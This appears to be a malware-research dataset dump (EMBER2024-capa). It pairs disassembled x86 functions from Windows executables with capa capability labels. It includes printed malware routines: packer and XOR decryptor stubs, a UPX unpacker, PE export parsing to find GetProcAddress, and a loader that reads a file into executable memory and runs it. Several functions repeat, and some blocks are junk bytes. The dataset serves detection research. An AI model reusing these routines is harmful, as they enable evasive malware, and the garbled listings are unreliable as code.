joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x42e030
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x42e01e
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x40a8d5
Capabilities:
Compute adler32 checksum

Disassembly:
mov ecx, dword [esp + 4]
push ebx
mov ebx, dword [esp + 0x10]
push esi
mov esi, ecx
and ecx, 0xffff
shr esi, 0x10
cmp ebx, 1
jne 0x40a920
mov eax, dword [esp + 0x10]
movzx eax, byte [eax]
add ecx, eax
cmp ecx, 0xfff1
jb 0x40a906
sub ecx, 0xfff1
add esi, ecx
cmp esi, 0xfff1
jb 0x40a916
sub esi, 0xfff1
shl esi, 0x10
or esi, ecx
mov eax, esi
pop esi
pop ebx
ret
push edi
mov edi, dword [esp + 0x14]
test edi, edi
jne 0x40a930
lea eax, [edi + 1]
pop edi
pop esi
inc edi
add dword [edi + 0x5e], ebx
pop ebx
ret
cmp ebx, 0x10
jae 0x40a970
test ebx, ebx
je 0x40a946
movzx eax, byte [edi]
mov dh, 7
lea edi, [edi + 1]
add ecx, eax
add esi, ecx
dec ebx
jne 0x40a939
cmp ecx, 0xfff1
jb 0x40a954
cmp ebx, 0x15b0
jb 0x40aa5a
mov eax, 0x5e6ea9af
mul ebx
push ebp
mov ebp, edx
shr ebp, 0xb
jmp 0x40a995
add ecx, eax
movzx eax, byte [edi + 0xc]
add esi, ecx
add ecx, eax
movzx eax, byte [edi + 0xd]
add esi, ecx
add ecx, eax
movzx eax, byte [edi + 0xe]
add esi, ecx
add ecx, eax
movzx eax, byte [edi + 0xf]
add esi, ecx
add edi, 0x10
add ecx, eax
add esi, ecx
dec edx
jne 0x40a93a
mov eax, 0x80078071
mul ecx
shr edx, 0xf
imul eax, edx, 0xffff000f
add ecx, eax
mov eax, 0x80078071
mul esi
shr edx, 0xf
imul eax, edx, 0xffff000f
add esi, eax
dec ebp
jne 0x40a92a
pop ebp
test ebx, ebx
je 0x40aacb
cmp ebx, 0x10

Function at 0x40c69d
Capabilities:
Encode data using xor

Disassembly:
push es
not byte [ebx - 0x48]
xor dword [ecx + edx*4 - 0x21754b47], ebx
mov esp, 0xbd1ce083
ficomp dword [esi + 0x5a]
mov edi, 0xbe9834ed
add byte [eax], al
add byte [eax], al
mov esp, 0x9c88bb8
enter 0xffffffffffffaa09, 0xffffffffffffffee
enter 0xffffffffffffaa09, 0xffffffffffffffee
scasd eax, dword es:[edi]
mov ch, 0x12
push edi
xchg edi, eax
bound ecx, qword [edi + 0x37def032]
fcomp qword [edi + 0x6b]
and eax, 0x9dd738b9
out dx, eax
sub byte [ebp + eax*8 + 0x7d084f8a], dh
loopne 0x40c67c
outsd dx, dword [esi]
add dword [edi - 0x404728ff], eax
salc
dec edx
fstp st(0)
push 0xfffffffffffffff2
xor esi, dword [edi - 0x21]
loopne 0x40c727
adc byte [ebx + 0x58], ah
lahf
push edi
sbb dword [eax - 6], edx
xor byte [ebp + 0x109f14e8], ah
cli
movsd dword es:[edi], dword [esi]
call 0xfa5165f4
jno 0x40c6da
lodsb al, byte [esi]
inc edx
enter 0x7bc0, 0xffffffffffffffdf
lodsd eax, dword [esi]
cmpsd dword [esi], dword es:[edi]
invalid
cmp ecx, dword [edx]
rol byte [eax], 1
xchg dword [edx + 0x2f503869], esi
das
or al, 0x5f
in al, dx
xchg edi, eax
loop 0x40c71e
pop ecx
test dword [edi - 0x2ec21a69], eax
xchg dword [esi + 0x3ae0b465], eax
fstp qword [edx + 0x4f]
invalid
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x4c6d1ced
nop
nop
nop
nop
nop
test eax, eax
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x334017d9
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x503b67
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x5032dd
mov dword [0x50521c], 2
jmp 0x503b97
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x504088
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x503c6a
push 0
push 0
push 0
push 0x505248
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x503c97
push 0x505248
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x503c6a
mov eax, dword [0x505250]
jmp 0x503ca4
call 0x502b16
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x421b00
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x16000]
push edi
or ebp, 0xffffffff
jmp 0x421b22
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x421b29
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x421b18
mov eax, 1
add ebx, ebx
jne 0x421b3b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x421b30
jne 0x421b4c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x421b30
xor ecx, ecx
sub eax, 3
jb 0x421b60
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x421bd2
mov ebp, eax
add ebx, ebx
jne 0x421b6b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x421b78
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x421b9c
inc ecx
add ebx, ebx
jne 0x421b88
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x421b7d
jne 0x421b99
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x421b7d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x421bbc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x421bad
jmp 0x421b1e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x421bbc
add edi, ecx
jmp 0x421b1e
pop esi
mov edi, esi
mov ecx, 0x843
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x421bda
cmp byte [edi], 0xd
jne 0x421bda
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x421bdf
lea edi, [esi + 0x1f000]
mov eax, dword [edi]
or eax, eax
je 0x421c57
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2293c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x229f0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x421c0c
mov ecx, edi
jns 0x421c3b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x229f4]
or eax, eax
je 0x421c51
mov dword [ebx], eax
add ebx, 4
jmp 0x421c29
call dword [esi + 0x229f8]
popal
jmp section.UPX0
Function at 0x40be00
Capabilities:
Resolve function by parsing pe exports

Disassembly:
call 0x40be05
push ebp
mov ebx, dword [esp + 8]
mov ebp, dword [esp + 4]
sub dword [esp + 4], 0x6566
and ebx, 0xfffff000
sub ebp, 0x401005
cmp dword [ebx + 0x4e], 0x73696854
jne 0x40be37
mov eax, dword [ebx + 0x3c]
add eax, ebx
cmp word [eax], 0x4550
je 0x40be3f
sub ebx, 0x100
jmp 0x40be22
mov edx, dword [eax + 0x78]
add edx, ebx
mov esi, dword [edx + 0x20]
mov ecx, dword [edx + 0x18]
add esi, ebx
push ecx
lodsd eax, dword [esi]
add eax, ebx
cmp dword [eax - 1], 0x74654700
jne 0x40be74
cmp dword [eax + 3], 0x636f7250
jne 0x40be74
cmp dword [eax + 7], 0x72646441
jne 0x40be74
cmp dword [eax + 0xb], 0x737365
je 0x40be79
loop 0x40be4d
pop ecx
pop ebp
ret
sub dword [esp], ecx
mov esi, dword [edx + 0x24]
pop ecx
add esi, ebx
movzx eax, word [esi + ecx*2]
mov edi, dword [edx + 0x1c]
add edi, ebx
mov esi, dword [edi + eax*4]
add esi, ebx
call 0x40bea1
inc ebx
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x40beff
dec eax
popal
outsb dx, byte [esi]
insb byte es:[edi], dx
add byte gs:[ebx - 1], dl
salc
mov dword [ebp + 0x402407], eax
call 0x40bebc
inc ebx
jb 0x40bf17
popal
je 0x40bf1a
inc ebp
jbe 0x40bf1d
outsb dx, byte [esi]
je 0x40befc
add byte [ebx - 1], dl
salc
mov dword [ebp + 0x40240b], eax
call 0x40bed7
inc edi
je 0x40bf1a
popal
jae 0x40bf45
inc ebp
jb 0x40bf46
outsd dx, dword [esi]
jb 0x40bed7
push ebx
call esi
mov dword [ebp + 0x40240f], eax
call fcn.0040bf2a
test eax, eax
je 0x40bf0a
push eax
call dword [ebp + 0x40240f]
test eax, eax
jne 0x40bf04
lea eax, [ebp + 0x401155]
mov dl, byte [eax - 1]
call 0x40bf45
jmp 0x40bf55
invalid
add byte [eax], al
add bl, ch
push ecx
call dword [ebp + 0x402407]
pop ebp
ret
add byte [eax + eax], al
mov eax, esp
push 0
push eax
push 0xc
mov eax, esp
jmp edx
add byte [eax + 0x6a], dl
or al, 0x8b
invalid
invalid
push eax
call dword [ebp + 0x40240b]
add esp, 0x20
ret
mov dh, dl
mov ecx, 0x12b2
mov ecx, 0x12b2
xor byte [eax], dl
inc eax
add dl, dh
loop 0x40bf4c
ret
popfd
cdq
fisubr dword [esi + edx*8 - 0x4c]
sal byte [ebx - 0x55], cl
test al, 0x5e
sub byte [esi + 0x764541a4], al
or byte [edx + 0x58], bh
jbe 0x40bf2e
je 0x40bfc2
mov word [esi], ds
push 0x48
or eax, 0xbcfad317
sbb dh, byte [ebp - 0xf79221d]
into
ffreep st(3)
movsd dword es:[edi], dword [esi]
sti
inc edi
cmpsb byte [esi], byte es:[edi]
loopne 0x40bf44
insd dword es:[edi], dx
out 0xf0, al
leave
push esi
jb 0x40bf1d
int1
xor edi, dword [edi + 0x53]
add al, byte [edx]
inc ecx
jbe 0x40bf3a
aad 0x7c
ret 0x5234
sbb edi, ebp
mov bh, 0xb3
jmp 0xd5374845
Function at 0x40bf45
Capabilities:
Encode data using xor

Disassembly:
call 0x40be05
push ebp
mov ebx, dword [esp + 8]
mov ebp, dword [esp + 4]
sub dword [esp + 4], 0x6566
and ebx, 0xfffff000
sub ebp, 0x401005
cmp dword [ebx + 0x4e], 0x73696854
jne 0x40be37
mov eax, dword [ebx + 0x3c]
add eax, ebx
cmp word [eax], 0x4550
je 0x40be3f
sub ebx, 0x100
jmp 0x40be22
mov edx, dword [eax + 0x78]
add edx, ebx
mov esi, dword [edx + 0x20]
mov ecx, dword [edx + 0x18]
add esi, ebx
push ecx
lodsd eax, dword [esi]
add eax, ebx
cmp dword [eax - 1], 0x74654700
jne 0x40be74
cmp dword [eax + 3], 0x636f7250
jne 0x40be74
cmp dword [eax + 7], 0x72646441
jne 0x40be74
cmp dword [eax + 0xb], 0x737365
je 0x40be79
loop 0x40be4d
pop ecx
pop ebp
ret
sub dword [esp], ecx
mov esi, dword [edx + 0x24]
pop ecx
add esi, ebx
movzx eax, word [esi + ecx*2]
mov edi, dword [edx + 0x1c]
add edi, ebx
mov esi, dword [edi + eax*4]
add esi, ebx
call 0x40bea1
inc ebx
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x40beff
dec eax
popal
outsb dx, byte [esi]
insb byte es:[edi], dx
add byte gs:[ebx - 1], dl
salc
mov dword [ebp + 0x402407], eax
call 0x40bebc
inc ebx
jb 0x40bf17
popal
je 0x40bf1a
inc ebp
jbe 0x40bf1d
outsb dx, byte [esi]
je 0x40befc
add byte [ebx - 1], dl
salc
mov dword [ebp + 0x40240b], eax
call 0x40bed7
inc edi
je 0x40bf1a
popal
jae 0x40bf45
inc ebp
jb 0x40bf46
outsd dx, dword [esi]
jb 0x40bed7
push ebx
call esi
mov dword [ebp + 0x40240f], eax
call fcn.0040bf2a
test eax, eax
je 0x40bf0a
push eax
call dword [ebp + 0x40240f]
test eax, eax
jne 0x40bf04
lea eax, [ebp + 0x401155]
mov dl, byte [eax - 1]
call 0x40bf45
jmp 0x40bf55
invalid
add byte [eax], al
add bl, ch
push ecx
call dword [ebp + 0x402407]
pop ebp
ret
add byte [eax + eax], al
mov eax, esp
push 0
push eax
push 0xc
mov eax, esp
jmp edx
add byte [eax + 0x6a], dl
or al, 0x8b
invalid
invalid
push eax
call dword [ebp + 0x40240b]
add esp, 0x20
ret
mov dh, dl
mov ecx, 0x12b2
mov ecx, 0x12b2
xor byte [eax], dl
inc eax
add dl, dh
loop 0x40bf4c
ret
popfd
cdq
fisubr dword [esi + edx*8 - 0x4c]
sal byte [ebx - 0x55], cl
test al, 0x5e
sub byte [esi + 0x764541a4], al
or byte [edx + 0x58], bh
jbe 0x40bf2e
je 0x40bfc2
mov word [esi], ds
push 0x48
or eax, 0xbcfad317
sbb dh, byte [ebp - 0xf79221d]
into
ffreep st(3)
movsd dword es:[edi], dword [esi]
sti
inc edi
cmpsb byte [esi], byte es:[edi]
loopne 0x40bf44
insd dword es:[edi], dx
out 0xf0, al
leave
push esi
jb 0x40bf1d
int1
xor edi, dword [edi + 0x53]
add al, byte [edx]
inc ecx
jbe 0x40bf3a
aad 0x7c
ret 0x5234
sbb edi, ebp
mov bh, 0xb3
jmp 0xd5374845
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
jmp 0x4349c1
push 0x14
push 0x44bf60
call fcn.00434af0
push 1
call fcn.00434579
pop ecx
test al, al
je 0x4349ab
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.00434547
mov byte [ebp - 0x24], al
mov eax, dword [0x44ec5c]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x4349ab
test eax, eax
jne 0x4348cf
mov dword [0x44ec5c], ecx
push 0x4432c8
push 0x4432b0
call fcn.00439b61
pop ecx
pop ecx
test eax, eax
je 0x4348b2
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x43499b
push 0x4432ac
push 0x443260
call fcn.00439b05
pop ecx
pop ecx
mov dword [0x44ec5c], 2
jmp 0x4348d4
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.004346eb
pop ecx
call fcn.00434fda
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x434905
push esi
call fcn.00434657
pop ecx
test al, al
je 0x434905
mov esi, dword [esi]
push edi
push 2
push edi
mov ecx, esi
call dword [0x44325c]
call esi
call fcn.00434fe0
mov esi, eax
cmp dword [esi], edi
je 0x434923
push esi
call fcn.00434657
pop ecx
test al, al
je 0x434923
push dword [esi]
call fcn.00438fc4
pop ecx
call fcn.00434e0c
movzx eax, ax
push eax
call fcn.00439ab2
push eax
push edi
push 0x400000
call main
mov esi, eax
call fcn.00434e42
test al, al
je 0x4349b2
test bl, bl
jne 0x434951
call fcn.00438f9f
push edi
push 1
call fcn.00434708
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x43499b
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
push 7
call fcn.00434cf2
push esi
call fcn.00438ffc
push dword [ebp - 0x20]
call fcn.00438fae
int3
call fcn.00434f27
jmp 0x434845
Function at 0x407e10
Capabilities:
Hash data using sha256

Disassembly:
mov dword [ecx], 0x407e60
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 0
mov dword [ecx + 0x20], 0x6a09e667
mov dword [ecx + 0x24], 0xbb67ae85
mov dword [ecx + 0x28], 0x3c6ef372
mov dword [ecx + 0x2c], 0xa54ff53a
mov dword [ecx + 0x30], 0x510e527f
mov dword [ecx + 0x34], 0x9b05688c
mov dword [ecx + 0x38], 0x1f83d9ab
mov dword [ecx + 0x3c], 0x5be0cd19
ret

Function at 0x4082d0
Capabilities:
Hash data using sha256

Disassembly:
push ebx
push esi
mov esi, ecx
mov ebx, edx
push edi
mov edx, dword [esi + 8]
and edx, 0x3f
mov byte [edx + esi + 0x40], 0x80
inc edx
cmp edx, 0x38
jbe 0x40831b
cmp edx, 0x40
je 0x408309
mov ecx, 0x40
lea edi, [esi + 0x40]
sub ecx, edx
add edi, edx
mov edx, ecx
xor eax, eax
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esi]
lea edi, [esi + 0x20]
lea edx, [esi + 0x40]
mov ecx, edi
push 1
call eax
xor edx, edx
jmp 0x40831e
lea edi, [esi + 0x20]
mov eax, 0x38
sub eax, edx
push eax
lea eax, [esi + 0x40]
add eax, edx
push 0
push eax
call fcn.00435dc0
mov ecx, dword [esi + 8]
lea edx, [esi + 0x40]
mov eax, dword [esi + 0xc]
add esp, 0xc
shld eax, ecx, 3
shl ecx, 3
bswap eax
bswap ecx
mov dword [esi + 0x78], eax
mov eax, dword [esi]
mov dword [esi + 0x7c], ecx
mov ecx, edi
push 1
call eax
mov edx, edi
mov edi, 4
nop
mov ecx, dword [edx + 4]
lea ebx, [ebx + 8]
mov eax, dword [edx]
lea edx, [edx + 8]
bswap eax
mov dword [ebx - 8], eax
bswap ecx
mov dword [ebx - 4], ecx
sub edi, 1
jne 0x408360
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
pop edi
mov dword [esi + 0x20], 0x6a09e667
mov dword [esi + 0x24], 0xbb67ae85
mov dword [esi + 0x28], 0x3c6ef372
mov dword [esi + 0x2c], 0xa54ff53a
mov dword [esi + 0x30], 0x510e527f
mov dword [esi + 0x34], 0x9b05688c
mov dword [esi + 0x38], 0x1f83d9ab
mov dword [esi + 0x3c], 0x5be0cd19
pop esi
pop ebx
ret

Function at 0x40ad70
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x44f341], 0
push esi
mov esi, edx
jne 0x40ada6
mov edx, ecx
lea ecx, [ebp - 0xc]
call fcn.00409550
push esi
push dword [eax]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.004340fc
add esp, 4
test esi, esi
jmp 0x40adb0
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x40adb9
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
xor al, al
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40adc0
Capabilities:
Delete directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x44f341], 0
jne 0x40adf4
mov edx, ecx
lea ecx, [ebp - 0xc]
push esi
call fcn.00409550
push dword [eax]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.004340fc
add esp, 4
test esi, esi
pop esi
jmp 0x40adfd
push ecx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
je 0x40ae05
mov al, 1
mov esp, ebp
pop ebp
ret
xor al, al
mov esp, ebp
pop ebp
ret